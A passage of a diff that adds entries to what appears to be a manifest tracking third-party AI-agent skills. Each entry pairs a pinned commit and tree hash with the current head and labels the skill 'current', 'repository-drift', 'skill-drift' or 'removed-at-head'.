"skills/github-issue-triage", + "status": "trial", + "pinned_ref": "bea7a20c59c44ec4dacddac3fc0efe58b9c73880", + "head_ref": "9495f4c59dd5fea2cee9e87ab37a6abda649627b", + "pinned_tree": "9df1430bf1402390fa7070105b589a87861254ed", + "head_tree": "9df1430bf1402390fa7070105b589a87861254ed", + "manifest_tree_matches_pin": true, + "state": "repository-drift", + "native_check_ref": "bea7a20c59c44ec4dacddac3fc0efe58b9c73880", + "native_check_advances_commit_pin": false + }, + { + "name": "github-pr-review", + "source": "OpenHands/extensions", + "path": "skills/github-pr-review", + "status": "trial", + "pinned_ref": "bea7a20c59c44ec4dacddac3fc0efe58b9c73880", + "head_ref": "9495f4c59dd5fea2cee9e87ab37a6abda649627b", + "pinned_tree": "f4e742826b7154635c79820a1cb015906b260a6d", + "head_tree": "f4e742826b7154635c79820a1cb015906b260a6d", + "manifest_tree_matches_pin": true, + "state": "repository-drift", + "native_check_ref": "bea7a20c59c44ec4dacddac3fc0efe58b9c73880", + "native_check_advances_commit_pin": false + }, + { + "name": "github-pr-reviewer", + "source": "OpenHands/extensions", + "path": "skills/github-pr-reviewer", + "status": "trial", + "pinned_ref": "bea7a20c59c44ec4dacddac3fc0efe58b9c73880", + "head_ref": "9495f4c59dd5fea2cee9e87ab37a6abda649627b", + "pinned_tree": "1f4525915d9d62128ef99f6d646ea02984c4c4d4", + "head_tree": "7607c02c2b3bd9a926e8ed0747d3a692c603f1f4", + "manifest_tree_matches_pin": true, + "state": "skill-drift", + "native_check_ref": "bea7a20c59c44ec4dacddac3fc0efe58b9c73880", + "native_check_advances_commit_pin": false + }, + { + "name": "github-repo-monitor", + "source": "OpenHands/extensions", + "path": "skills/github-repo-monitor", + "status": "trial", + "pinned_ref": "bea7a20c59c44ec4dacddac3fc0efe58b9c73880", + "head_ref": "9495f4c59dd5fea2cee9e87ab37a6abda649627b", + "pinned_tree": "e779e4edf79c281f7c9a35cf586eb6084b5046db", + "head_tree": "e779e4edf79c281f7c9a35cf586eb6084b5046db", + "manifest_tree_matches_pin": true, + "state": "repository-drift", + "native_check_ref": "bea7a20c59c44ec4dacddac3fc0efe58b9c73880", + "native_check_advances_commit_pin": false + }, + { + "name": "github-stale-ci-pr-closer", + "source": "OpenHands/extensions", + "path": "skills/github-stale-ci-pr-closer", + "status": "trial", + "pinned_ref": "bea7a20c59c44ec4dacddac3fc0efe58b9c73880", + "head_ref": "9495f4c59dd5fea2cee9e87ab37a6abda649627b", + "pinned_tree": "0c4596fbf016454fb1b78e1b79f826ade2a26249", + "head_tree": "d05257b69a2863aed7346f6c2e5415b031ab9247", + "manifest_tree_matches_pin": true, + "state": "skill-drift", + "native_check_ref": "bea7a20c59c44ec4dacddac3fc0efe58b9c73880", + "native_check_advances_commit_pin": false + }, + { + "name": "gitlab", + "source": "OpenHands/extensions", + "path": "skills/gitlab", + "status": "trial", + "pinned_ref": "bea7a20c59c44ec4dacddac3fc0efe58b9c73880", + "head_ref": "9495f4c59dd5fea2cee9e87ab37a6abda649627b", + "pinned_tree": "29879a030a0dd27de75c2674a242492c9d90a5a6", + "head_tree": "29879a030a0dd27de75c2674a242492c9d90a5a6", + "manifest_tree_matches_pin": true, + "state": "repository-drift", + "native_check_ref": "bea7a20c59c44ec4dacddac3fc0efe58b9c73880", + "native_check_advances_commit_pin": false + }, + { + "name": "gitlab-issue-to-mr", + "source": "OpenHands/extensions", + "path": "skills/gitlab-issue-to-mr", + "status": "trial", + "pinned_ref": "bea7a20c59c44ec4dacddac3fc0efe58b9c73880", + "head_ref": "9495f4c59dd5fea2cee9e87ab37a6abda649627b", + "pinned_tree": "42357f9cfc48574ac142cec1f488ed6bb06ce4db", + "head_tree": "42357f9cfc48574ac142cec1f488ed6bb06ce4db", + "manifest_tree_matches_pin": true, + "state": "repository-drift", + "native_check_ref": "bea7a20c59c44ec4dacddac3fc0efe58b9c73880", + "native_check_advances_commit_pin": false + }, + { + "name": "gpt-researcher", + "source": "assafelovic/gpt-researcher", + "path": "skills/gpt-researcher", + "status": "trial", + "pinned_ref": "0957c301ed06c2a5857b834358c7227c739041d4", + "head_ref": "0957c301ed06c2a5857b834358c7227c739041d4", + "pinned_tree": "0de06325b127246093bf5addc15cdf8ae51d1feb", + "head_tree": "0de06325b127246093bf5addc15cdf8ae51d1feb", + "manifest_tree_matches_pin": true, + "state": "current", + "native_check_ref": "0957c301ed06c2a5857b834358c7227c739041d4", + "native_check_advances_commit_pin": false + }, + { + "name": "grill-me", + "source": "mattpocock/skills", + "path": "skills/productivity/grill-me", + "status": "trial", + "pinned_ref": "c55ee46073ed923f86ce59a5eb3b6d895095d1b7", + "head_ref": "d81f3a183412e71a5b1e84ca21bc1a35eea03a60", + "pinned_tree": "3df14e2d3a89459bf300614be9247e3ce74798f8", + "head_tree": "3df14e2d3a89459bf300614be9247e3ce74798f8", + "manifest_tree_matches_pin": true, + "state": "repository-drift", + "native_check_ref": "c55ee46073ed923f86ce59a5eb3b6d895095d1b7", + "native_check_advances_commit_pin": false + }, + { + "name": "handoff", + "source": "mattpocock/skills", + "path": "skills/productivity/handoff", + "status": "trial", + "pinned_ref": "c55ee46073ed923f86ce59a5eb3b6d895095d1b7", + "head_ref": "d81f3a183412e71a5b1e84ca21bc1a35eea03a60", + "pinned_tree": "2242e8f05424b8c2ae94194a90d97b88d16108ec", + "head_tree": "2242e8f05424b8c2ae94194a90d97b88d16108ec", + "manifest_tree_matches_pin": true, + "state": "repository-drift", + "native_check_ref": "c55ee46073ed923f86ce59a5eb3b6d895095d1b7", + "native_check_advances_commit_pin": false + }, + { + "name": "improve-agent-readiness", + "source": "OpenHands/extensions", + "path": "plugins/onboarding/skills/improve-agent-readiness", + "status": "trial", + "pinned_ref": "bea7a20c59c44ec4dacddac3fc0efe58b9c73880", + "head_ref": "9495f4c59dd5fea2cee9e87ab37a6abda649627b", + "pinned_tree": "6b8dcd8f430d8faefbee3cc3bcc4450dea68f65f", + "head_tree": "6b8dcd8f430d8faefbee3cc3bcc4450dea68f65f", + "manifest_tree_matches_pin": true, + "state": "repository-drift", + "native_check_ref": "bea7a20c59c44ec4dacddac3fc0efe58b9c73880", + "native_check_advances_commit_pin": false + }, + { + "name": "improve-codebase-architecture", + "source": "mattpocock/skills", + "path": "skills/engineering/improve-codebase-architecture", + "status": "trial", + "pinned_ref": "c55ee46073ed923f86ce59a5eb3b6d895095d1b7", + "head_ref": "d81f3a183412e71a5b1e84ca21bc1a35eea03a60", + "pinned_tree": "3d35cd438f4067b03c8b3792e038960e4ac11526", + "head_tree": "39bd9cc130f7dfcc4e3ea0b3613f6ebed0d0ad2b", + "manifest_tree_matches_pin": true, + "state": "skill-drift", + "native_check_ref": "c55ee46073ed923f86ce59a5eb3b6d895095d1b7", + "native_check_advances_commit_pin": false + }, + { + "name": "incident-retrospective", + "source": "OpenHands/extensions", + "path": "skills/incident-retrospective", + "status": "trial", + "pinned_ref": "bea7a20c59c44ec4dacddac3fc0efe58b9c73880", + "head_ref": "9495f4c59dd5fea2cee9e87ab37a6abda649627b", + "pinned_tree": "f12d464f1cdc9584f5fe9677f2c75119226a09c5", + "head_tree": "f12d464f1cdc9584f5fe9677f2c75119226a09c5", + "manifest_tree_matches_pin": true, + "state": "repository-drift", + "native_check_ref": "bea7a20c59c44ec4dacddac3fc0efe58b9c73880", + "native_check_advances_commit_pin": false + }, + { + "name": "iterate", + "source": "OpenHands/extensions", + "path": "skills/iterate", + "status": "trial", + "pinned_ref": "bea7a20c59c44ec4dacddac3fc0efe58b9c73880", + "head_ref": "9495f4c59dd5fea2cee9e87ab37a6abda649627b", + "pinned_tree": "7152a93b2b9f725f52c5252d988819fe0030661a", + "head_tree": "7152a93b2b9f725f52c5252d988819fe0030661a", + "manifest_tree_matches_pin": true, + "state": "repository-drift", + "native_check_ref": "bea7a20c59c44ec4dacddac3fc0efe58b9c73880", + "native_check_advances_commit_pin": false + }, + { + "name": "iterative-retrieval", + "source": "affaan-m/ECC", + "path": "skills/iterative-retrieval", + "status": "trial", + "pinned_ref": "2b6e839771e53096d8451a213d40dc64ec8acac0", + "head_ref": "c70874fae9eb0e5ad0365beb7e2955899fd1d30f", + "pinned_tree": "1f1e8d67cf41d72acf2315dc7e6edeac0fc231a6", + "head_tree": "1f1e8d67cf41d72acf2315dc7e6edeac0fc231a6", + "manifest_tree_matches_pin": true, + "state": "repository-drift", + "native_check_ref": "2b6e839771e53096d8451a213d40dc64ec8acac0", + "native_check_advances_commit_pin": false + }, + { + "name": "jira-issue-to-pr", + "source": "OpenHands/extensions", + "path": "skills/jira-issue-to-pr", + "status": "trial", + "pinned_ref": "bea7a20c59c44ec4dacddac3fc0efe58b9c73880", + "head_ref": "9495f4c59dd5fea2cee9e87ab37a6abda649627b", + "pinned_tree": "e216374c7bc95f6705707e11a1cc65dda9267964", + "head_tree": "e216374c7bc95f6705707e11a1cc65dda9267964", + "manifest_tree_matches_pin": true, + "state": "repository-drift", + "native_check_ref": "bea7a20c59c44ec4dacddac3fc0efe58b9c73880", + "native_check_advances_commit_pin": false + }, + { + "name": "jupyter", + "source": "OpenHands/extensions", + "path": "skills/jupyter", + "status": "trial", + "pinned_ref": "bea7a20c59c44ec4dacddac3fc0efe58b9c73880", + "head_ref": "9495f4c59dd5fea2cee9e87ab37a6abda649627b", + "pinned_tree": "ae3ccf3f0bc3ec470f740d9cebed4dfb1b1628b8", + "head_tree": "ae3ccf3f0bc3ec470f740d9cebed4dfb1b1628b8", + "manifest_tree_matches_pin": true, + "state": "repository-drift", + "native_check_ref": "bea7a20c59c44ec4dacddac3fc0efe58b9c73880", + "native_check_advances_commit_pin": false + }, + { + "name": "jupyter-notebook", + "source": "openai/skills", + "path": "skills/.curated/jupyter-notebook", + "status": "trial", + "pinned_ref": "49f948faa9258a0c61caceaf225e179651397431", + "head_ref": "49f948faa9258a0c61caceaf225e179651397431", + "pinned_tree": "ed23a98404260af659ef6bae9cb734bcfb0ca6c2", + "head_tree": "ed23a98404260af659ef6bae9cb734bcfb0ca6c2", + "manifest_tree_matches_pin": true, + "state": "current", + "native_check_ref": "49f948faa9258a0c61caceaf225e179651397431", + "native_check_advances_commit_pin": false + }, + { + "name": "kubernetes", + "source": "OpenHands/extensions", + "path": "skills/kubernetes", + "status": "trial", + "pinned_ref": "bea7a20c59c44ec4dacddac3fc0efe58b9c73880", + "head_ref": "9495f4c59dd5fea2cee9e87ab37a6abda649627b", + "pinned_tree": "68d887ccaf357723985bae1130706a7145e4d38d", + "head_tree": "68d887ccaf357723985bae1130706a7145e4d38d", + "manifest_tree_matches_pin": true, + "state": "repository-drift", + "native_check_ref": "bea7a20c59c44ec4dacddac3fc0efe58b9c73880", + "native_check_advances_commit_pin": false + }, + { + "name": "learn-from-code-review", + "source": "OpenHands/extensions", + "path": "skills/learn-from-code-review", + "status": "trial", + "pinned_ref": "bea7a20c59c44ec4dacddac3fc0efe58b9c73880", + "head_ref": "9495f4c59dd5fea2cee9e87ab37a6abda649627b", + "pinned_tree": "28da28ac893f281737349c3867b5640ae348b0b4", + "head_tree": "28da28ac893f281737349c3867b5640ae348b0b4", + "manifest_tree_matches_pin": true, + "state": "repository-drift", + "native_check_ref": "bea7a20c59c44ec4dacddac3fc0efe58b9c73880", + "native_check_advances_commit_pin": false + }, + { + "name": "linear", + "source": "OpenHands/extensions", + "path": "skills/linear", + "status": "trial", + "pinned_ref": "bea7a20c59c44ec4dacddac3fc0efe58b9c73880", + "head_ref": "9495f4c59dd5fea2cee9e87ab37a6abda649627b", + "pinned_tree": "3419cdad4edd8d23c9eb5cdafa834ac50be9ef3d", + "head_tree": "3419cdad4edd8d23c9eb5cdafa834ac50be9ef3d", + "manifest_tree_matches_pin": true, + "state": "repository-drift", + "native_check_ref": "bea7a20c59c44ec4dacddac3fc0efe58b9c73880", + "native_check_advances_commit_pin": false + }, + { + "name": "linear-triage", + "source": "OpenHands/extensions", + "path": "skills/linear-triage", + "status": "trial", + "pinned_ref": "bea7a20c59c44ec4dacddac3fc0efe58b9c73880", + "head_ref": "9495f4c59dd5fea2cee9e87ab37a6abda649627b", + "pinned_tree": "8a87f4b44d8fe3f1a78159a64639f68268ef4eec", + "head_tree": "8a87f4b44d8fe3f1a78159a64639f68268ef4eec", + "manifest_tree_matches_pin": true, + "state": "repository-drift", + "native_check_ref": "bea7a20c59c44ec4dacddac3fc0efe58b9c73880", + "native_check_advances_commit_pin": false + }, + { + "name": "mainframe-planning", + "source": "OpenHands/extensions", + "path": "plugins/cobol-modernization/skills/mainframe-planning", + "status": "trial", + "pinned_ref": "bea7a20c59c44ec4dacddac3fc0efe58b9c73880", + "head_ref": "9495f4c59dd5fea2cee9e87ab37a6abda649627b", + "pinned_tree": "03983adeb00274f278921eb04bc8d3b4ed3ac1a4", + "head_tree": "03983adeb00274f278921eb04bc8d3b4ed3ac1a4", + "manifest_tree_matches_pin": true, + "state": "repository-drift", + "native_check_ref": "bea7a20c59c44ec4dacddac3fc0efe58b9c73880", + "native_check_advances_commit_pin": false + }, + { + "name": "mainframe-removal", + "source": "OpenHands/extensions", + "path": "plugins/cobol-modernization/skills/mainframe-removal", + "status": "trial", + "pinned_ref": "bea7a20c59c44ec4dacddac3fc0efe58b9c73880", + "head_ref": "9495f4c59dd5fea2cee9e87ab37a6abda649627b", + "pinned_tree": "5fa438fb84c8a8208993b094fdcb0ee2bbb8e625", + "head_tree": "5fa438fb84c8a8208993b094fdcb0ee2bbb8e625", + "manifest_tree_matches_pin": true, + "state": "repository-drift", + "native_check_ref": "bea7a20c59c44ec4dacddac3fc0efe58b9c73880", + "native_check_advances_commit_pin": false + }, + { + "name": "mcp-builder", + "source": "anthropics/skills", + "path": "skills/mcp-builder", + "status": "trial", + "pinned_ref": "33375500bcea98d610eb30ce10ac4e59b89c390d", + "head_ref": "8a1541c4a3ffa5a20a5a91de0dcf3f0bab1d1ef4", + "pinned_tree": "b866bcfb57b780c10b587c7b543e871a91661ce0", + "head_tree": "b866bcfb57b780c10b587c7b543e871a91661ce0", + "manifest_tree_matches_pin": true, + "state": "repository-drift", + "native_check_ref": "33375500bcea98d610eb30ce10ac4e59b89c390d", + "native_check_advances_commit_pin": false + }, + { + "name": "migration-mapping", + "source": "OpenHands/extensions", + "path": "plugins/migration-scoring/skills/migration-mapping", + "status": "trial", + "pinned_ref": "bea7a20c59c44ec4dacddac3fc0efe58b9c73880", + "head_ref": "9495f4c59dd5fea2cee9e87ab37a6abda649627b", + "pinned_tree": "01541663c7d326717eb97454e8cff37bd907d1af", + "head_tree": "01541663c7d326717eb97454e8cff37bd907d1af", + "manifest_tree_matches_pin": true, + "state": "repository-drift", + "native_check_ref": "bea7a20c59c44ec4dacddac3fc0efe58b9c73880", + "native_check_advances_commit_pin": false + }, + { + "name": "migration-report", + "source": "OpenHands/extensions", + "path": "plugins/migration-scoring/skills/migration-report", + "status": "trial", + "pinned_ref": "bea7a20c59c44ec4dacddac3fc0efe58b9c73880", + "head_ref": "9495f4c59dd5fea2cee9e87ab37a6abda649627b", + "pinned_tree": "7080394b2efd3de63a5251d95a1a6d6ac7b1e943", + "head_tree": "7080394b2efd3de63a5251d95a1a6d6ac7b1e943", + "manifest_tree_matches_pin": true, + "state": "repository-drift", + "native_check_ref": "bea7a20c59c44ec4dacddac3fc0efe58b9c73880", + "native_check_advances_commit_pin": false + }, + { + "name": "migration-scoring", + "source": "OpenHands/extensions", + "path": "plugins/migration-scoring/skills/migration-scoring", + "status": "trial", + "pinned_ref": "bea7a20c59c44ec4dacddac3fc0efe58b9c73880", + "head_ref": "9495f4c59dd5fea2cee9e87ab37a6abda649627b", + "pinned_tree": "d7bb843a85e64349b97add0947677273f79c36ce", + "head_tree": "d7bb843a85e64349b97add0947677273f79c36ce", + "manifest_tree_matches_pin": true, + "state": "repository-drift", + "native_check_ref": "bea7a20c59c44ec4dacddac3fc0efe58b9c73880", + "native_check_advances_commit_pin": false + }, + { + "name": "modern-python", + "source": "trailofbits/skills", + "path": "plugins/modern-python/skills/modern-python", + "status": "trial", + "pinned_ref": "0cc1c73a5e96749ab32d7ea5e14892fafa6972ae", + "head_ref": "82fe8226252622fa807643bdca1710901198553a", + "pinned_tree": "e84fa2b3a076b4333e4cc6187510f2b180eed427", + "head_tree": "e84fa2b3a076b4333e4cc6187510f2b180eed427", + "manifest_tree_matches_pin": true, + "state": "repository-drift", + "native_check_ref": "0cc1c73a5e96749ab32d7ea5e14892fafa6972ae", + "native_check_advances_commit_pin": false + }, + { + "name": "news-digest", + "source": "OpenHands/extensions", + "path": "skills/news-digest", + "status": "trial", + "pinned_ref": "bea7a20c59c44ec4dacddac3fc0efe58b9c73880", + "head_ref": "9495f4c59dd5fea2cee9e87ab37a6abda649627b", + "pinned_tree": "0992f4bc12fbc02444662a3870abe0a755ad1b5f", + "head_tree": "0992f4bc12fbc02444662a3870abe0a755ad1b5f", + "manifest_tree_matches_pin": true, + "state": "repository-drift", + "native_check_ref": "bea7a20c59c44ec4dacddac3fc0efe58b9c73880", + "native_check_advances_commit_pin": false + }, + { + "name": "notion", + "source": "OpenHands/extensions", + "path": "skills/notion", + "status": "trial", + "pinned_ref": "bea7a20c59c44ec4dacddac3fc0efe58b9c73880", + "head_ref": "9495f4c59dd5fea2cee9e87ab37a6abda649627b", + "pinned_tree": "f9d670bf2279e7da84fc7da6276cb3854ac9d64e", + "head_tree": "f9d670bf2279e7da84fc7da6276cb3854ac9d64e", + "manifest_tree_matches_pin": true, + "state": "repository-drift", + "native_check_ref": "bea7a20c59c44ec4dacddac3fc0efe58b9c73880", + "native_check_advances_commit_pin": false + }, + { + "name": "npm", + "source": "OpenHands/extensions", + "path": "skills/npm", + "status": "trial", + "pinned_ref": "bea7a20c59c44ec4dacddac3fc0efe58b9c73880", + "head_ref": "9495f4c59dd5fea2cee9e87ab37a6abda649627b", + "pinned_tree": "34c1b85200cd6c5629b9c3b997a928aaa8a9e307", + "head_tree": "34c1b85200cd6c5629b9c3b997a928aaa8a9e307", + "manifest_tree_matches_pin": true, + "state": "repository-drift", + "native_check_ref": "bea7a20c59c44ec4dacddac3fc0efe58b9c73880", + "native_check_advances_commit_pin": false + }, + { + "name": "openhands-api", + "source": "OpenHands/extensions", + "path": "skills/openhands-api", + "status": "trial", + "pinned_ref": "bea7a20c59c44ec4dacddac3fc0efe58b9c73880", + "head_ref": "9495f4c59dd5fea2cee9e87ab37a6abda649627b", + "pinned_tree": "eaec51032ac36cf864f0079bd67698bf41adec04", + "head_tree": "eaec51032ac36cf864f0079bd67698bf41adec04", + "manifest_tree_matches_pin": true, + "state": "repository-drift", + "native_check_ref": "bea7a20c59c44ec4dacddac3fc0efe58b9c73880", + "native_check_advances_commit_pin": false + }, + { + "name": "openhands-automation", + "source": "OpenHands/extensions", + "path": "skills/openhands-automation", + "status": "trial", + "pinned_ref": "bea7a20c59c44ec4dacddac3fc0efe58b9c73880", + "head_ref": "9495f4c59dd5fea2cee9e87ab37a6abda649627b", + "pinned_tree": "7c5f5a3d5317e187eb9b95d407570a6e93ce989b", + "head_tree": "7c5f5a3d5317e187eb9b95d407570a6e93ce989b", + "manifest_tree_matches_pin": true, + "state": "repository-drift", + "native_check_ref": "bea7a20c59c44ec4dacddac3fc0efe58b9c73880", + "native_check_advances_commit_pin": false + }, + { + "name": "openhands-enterprise-troubleshooting", + "source": "OpenHands/extensions", + "path": "skills/openhands-enterprise-troubleshooting", + "status": "trial", + "pinned_ref": "bea7a20c59c44ec4dacddac3fc0efe58b9c73880", + "head_ref": "9495f4c59dd5fea2cee9e87ab37a6abda649627b", + "pinned_tree": "bbe40867eeaa2d890a57df32331003d35ea0635a", + "head_tree": "bbe40867eeaa2d890a57df32331003d35ea0635a", + "manifest_tree_matches_pin": true, + "state": "repository-drift", + "native_check_ref": "bea7a20c59c44ec4dacddac3fc0efe58b9c73880", + "native_check_advances_commit_pin": false + }, + { + "name": "openhands-sdk", + "source": "OpenHands/extensions", + "path": "skills/openhands-sdk", + "status": "trial", + "pinned_ref": "bea7a20c59c44ec4dacddac3fc0efe58b9c73880", + "head_ref": "9495f4c59dd5fea2cee9e87ab37a6abda649627b", + "pinned_tree": "65f0af3cda9aa9df67f7e65b7276408cb457d531", + "head_tree": "65f0af3cda9aa9df67f7e65b7276408cb457d531", + "manifest_tree_matches_pin": true, + "state": "repository-drift", + "native_check_ref": "bea7a20c59c44ec4dacddac3fc0efe58b9c73880", + "native_check_advances_commit_pin": false + }, + { + "name": "pdf", + "source": "anthropics/skills", + "path": "skills/pdf", + "status": "trial", + "pinned_ref": "33375500bcea98d610eb30ce10ac4e59b89c390d", + "head_ref": "8a1541c4a3ffa5a20a5a91de0dcf3f0bab1d1ef4", + "pinned_tree": "6369f4649de69bd6857c9bc3b058a77206009238", + "head_tree": "6369f4649de69bd6857c9bc3b058a77206009238", + "manifest_tree_matches_pin": true, + "state": "repository-drift", + "native_check_ref": "33375500bcea98d610eb30ce10ac4e59b89c390d", + "native_check_advances_commit_pin": false + }, + { + "name": "pdflatex", + "source": "OpenHands/extensions", + "path": "skills/pdflatex", + "status": "trial", + "pinned_ref": "bea7a20c59c44ec4dacddac3fc0efe58b9c73880", + "head_ref": "9495f4c59dd5fea2cee9e87ab37a6abda649627b", + "pinned_tree": "67c755b61c4ae488a59a98d34a160305fd2bb747", + "head_tree": "67c755b61c4ae488a59a98d34a160305fd2bb747", + "manifest_tree_matches_pin": true, + "state": "repository-drift", + "native_check_ref": "bea7a20c59c44ec4dacddac3fc0efe58b9c73880", + "native_check_advances_commit_pin": false + }, + { + "name": "plain-english-content", + "source": "OpenHands/extensions", + "path": "skills/plain-english-content", + "status": "trial", + "pinned_ref": "bea7a20c59c44ec4dacddac3fc0efe58b9c73880", + "head_ref": "9495f4c59dd5fea2cee9e87ab37a6abda649627b", + "pinned_tree": "67903279d5ec4d43eb69f16fcbc964a3bde22862", + "head_tree": "67903279d5ec4d43eb69f16fcbc964a3bde22862", + "manifest_tree_matches_pin": true, + "state": "repository-drift", + "native_check_ref": "bea7a20c59c44ec4dacddac3fc0efe58b9c73880", + "native_check_advances_commit_pin": false + }, + { + "name": "playwright", + "source": "openai/skills", + "path": "skills/.curated/playwright", + "status": "trial", + "pinned_ref": "49f948faa9258a0c61caceaf225e179651397431", + "head_ref": "49f948faa9258a0c61caceaf225e179651397431", + "pinned_tree": "74888f3c1d5581aea6415e78d5fbd760a8ab2a41", + "head_tree": "74888f3c1d5581aea6415e78d5fbd760a8ab2a41", + "manifest_tree_matches_pin": true, + "state": "current", + "native_check_ref": "49f948faa9258a0c61caceaf225e179651397431", + "native_check_advances_commit_pin": false + }, + { + "name": "pptx", + "source": "anthropics/skills", + "path": "skills/pptx", + "status": "trial", + "pinned_ref": "33375500bcea98d610eb30ce10ac4e59b89c390d", + "head_ref": "8a1541c4a3ffa5a20a5a91de0dcf3f0bab1d1ef4", + "pinned_tree": "64529c8b3f35fe632b7256bd2f6d46e4b40160ce", + "head_tree": "64529c8b3f35fe632b7256bd2f6d46e4b40160ce", + "manifest_tree_matches_pin": true, + "state": "repository-drift", + "native_check_ref": "33375500bcea98d610eb30ce10ac4e59b89c390d", + "native_check_advances_commit_pin": false + }, + { + "name": "prd", + "source": "OpenHands/extensions", + "path": "skills/prd", + "status": "trial", + "pinned_ref": "bea7a20c59c44ec4dacddac3fc0efe58b9c73880", + "head_ref": "9495f4c59dd5fea2cee9e87ab37a6abda649627b", + "pinned_tree": "d009702520f9617ffea98984b75f176a7d9535e9", + "head_tree": "d009702520f9617ffea98984b75f176a7d9535e9", + "manifest_tree_matches_pin": true, + "state": "repository-drift", + "native_check_ref": "bea7a20c59c44ec4dacddac3fc0efe58b9c73880", + "native_check_advances_commit_pin": false + }, + { + "name": "property-based-testing", + "source": "trailofbits/skills", + "path": "plugins/property-based-testing/skills/property-based-testing", + "status": "trial", + "pinned_ref": "0cc1c73a5e96749ab32d7ea5e14892fafa6972ae", + "head_ref": "82fe8226252622fa807643bdca1710901198553a", + "pinned_tree": "cf5e77d684180c80a2f3aa228c53d04b1fa1ba77", + "head_tree": "cf5e77d684180c80a2f3aa228c53d04b1fa1ba77", + "manifest_tree_matches_pin": true, + "state": "repository-drift", + "native_check_ref": "0cc1c73a5e96749ab32d7ea5e14892fafa6972ae", + "native_check_advances_commit_pin": false + }, + { + "name": "qa-changes", + "source": "OpenHands/extensions", + "path": "skills/qa-changes", + "status": "trial", + "pinned_ref": "bea7a20c59c44ec4dacddac3fc0efe58b9c73880", + "head_ref": "9495f4c59dd5fea2cee9e87ab37a6abda649627b", + "pinned_tree": "350f5d613a6d9d05ab6a4fc0adfaf9a62249e21e", + "head_tree": "350f5d613a6d9d05ab6a4fc0adfaf9a62249e21e", + "manifest_tree_matches_pin": true, + "state": "repository-drift", + "native_check_ref": "bea7a20c59c44ec4dacddac3fc0efe58b9c73880", + "native_check_advances_commit_pin": false + }, + { + "name": "receiving-code-review", + "source": "obra/superpowers", + "path": "skills/receiving-code-review", + "status": "trial", + "pinned_ref": "8ca22dba9a94f28898bbce59f2537ff4d87c747d", + "head_ref": "8ca22dba9a94f28898bbce59f2537ff4d87c747d", + "pinned_tree": "b5e154fc3ec7a6a0b1e710eebacc2168620cc428", + "head_tree": "b5e154fc3ec7a6a0b1e710eebacc2168620cc428", + "manifest_tree_matches_pin": true, + "state": "current", + "native_check_ref": "8ca22dba9a94f28898bbce59f2537ff4d87c747d", + "native_check_advances_commit_pin": false + }, + { + "name": "release-notes", + "source": "OpenHands/extensions", + "path": "skills/release-notes", + "status": "trial", + "pinned_ref": "bea7a20c59c44ec4dacddac3fc0efe58b9c73880", + "head_ref": "9495f4c59dd5fea2cee9e87ab37a6abda649627b", + "pinned_tree": "1494e93e3459d395907a4c00b815f93858bca20b", + "head_tree": "1494e93e3459d395907a4c00b815f93858bca20b", + "manifest_tree_matches_pin": true, + "state": "repository-drift", + "native_check_ref": "bea7a20c59c44ec4dacddac3fc0efe58b9c73880", + "native_check_advances_commit_pin": false + }, + { + "name": "requesting-code-review", + "source": "obra/superpowers", + "path": "skills/requesting-code-review", + "status": "trial", + "pinned_ref": "8ca22dba9a94f28898bbce59f2537ff4d87c747d", + "head_ref": "8ca22dba9a94f28898bbce59f2537ff4d87c747d", + "pinned_tree": "5fcdadfccd8c90987a11969d2f8c844820fee6e1", + "head_tree": "5fcdadfccd8c90987a11969d2f8c844820fee6e1", + "manifest_tree_matches_pin": true, + "state": "current", + "native_check_ref": "8ca22dba9a94f28898bbce59f2537ff4d87c747d", + "native_check_advances_commit_pin": false + }, + { + "name": "research", + "source": "mattpocock/skills", + "path": "skills/engineering/research", + "status": "trial", + "pinned_ref": "c55ee46073ed923f86ce59a5eb3b6d895095d1b7", + "head_ref": "d81f3a183412e71a5b1e84ca21bc1a35eea03a60", + "pinned_tree": "0a6796c5667e95ed2301ba7381c123b4acb2ae1a", + "head_tree": "0a6796c5667e95ed2301ba7381c123b4acb2ae1a", + "manifest_tree_matches_pin": true, + "state": "repository-drift", + "native_check_ref": "c55ee46073ed923f86ce59a5eb3b6d895095d1b7", + "native_check_advances_commit_pin": false + }, + { + "name": "research-brief", + "source": "OpenHands/extensions", + "path": "skills/research-brief", + "status": "trial", + "pinned_ref": "bea7a20c59c44ec4dacddac3fc0efe58b9c73880", + "head_ref": "9495f4c59dd5fea2cee9e87ab37a6abda649627b", + "pinned_tree": "96203abcbcdf42313e48380d51b5785e8d2a823b", + "head_tree": "96203abcbcdf42313e48380d51b5785e8d2a823b", + "manifest_tree_matches_pin": true, + "state": "repository-drift", + "native_check_ref": "bea7a20c59c44ec4dacddac3fc0efe58b9c73880", + "native_check_advances_commit_pin": false + }, + { + "name": "resolving-merge-conflicts", + "source": "mattpocock/skills", + "path": "skills/engineering/resolving-merge-conflicts", + "status": "trial", + "pinned_ref": "c55ee46073ed923f86ce59a5eb3b6d895095d1b7", + "head_ref": "d81f3a183412e71a5b1e84ca21bc1a35eea03a60", + "pinned_tree": "77f0d7de3143abbf03e55a63522d30bff31ae908", + "head_tree": null, + "manifest_tree_matches_pin": true, + "state": "removed-at-head", + "native_check_ref": "c55ee46073ed923f86ce59a5eb3b6d895095d1b7", + "native_check_advances_commit_pin": false + }, + { + "name": "sarif-parsing", + "source": "trailofbits/skills", + "path": "plugins/static-analysis/skills/sarif-parsing", + "status": "trial", + "pinned_ref": "0cc1c73a5e96749ab32d7ea5e14892fafa6972ae", + "head_ref": "82fe8226252622fa807643bdca1710901198553a", + "pinned_tree": "4fe407da56e118c68fd9bcc16603a38cf6116562", + "head_tree": "4fe407da56e118c68fd9bcc16603a38cf6116562", + "manifest_tree_matches_pin": true, + "state": "repository-drift", + "native_check_ref": "0cc1c73a5e96749ab32d7ea5e14892fafa6972ae", + "native_check_advances_commit_pin": false + }, + { + "name": "score-quality", + "source": "OpenHands/extensions", + "path": "plugins/migration-scoring/skills/score-quality", + "status": "trial", + "pinned_ref": "bea7a20c59c44ec4dacddac3fc0efe58b9c73880", + "head_ref": "9495f4c59dd5fea2cee9e87ab37a6abda649627b", + "pinned_tree": "15e66548eca0b7a0fc52d2f6ba528b9cd028d525", + "head_tree": "15e66548eca0b7a0fc52d2f6ba528b9cd028d525", + "manifest_tree_matches_pin": true, + "state": "repository-drift", + "native_check_ref": "bea7a20c59c44ec4dacddac3fc0efe58b9c73880", + "native_check_advances_commit_pin": false + }, + { + "name": "score-style", + "source": "OpenHands/extensions", + "path": "plugins/migration-scoring/skills/score-style", + "status": "trial", + "pinned_ref": "bea7a20c59c44ec4dacddac3fc0efe58b9c73880", + "head_ref": "9495f4c59dd5fea2cee9e87ab37a6abda649627b", + "pinned_tree": "5ea273ae511d5fc02eedeb0afe55c11c0712d65a", + "head_tree": 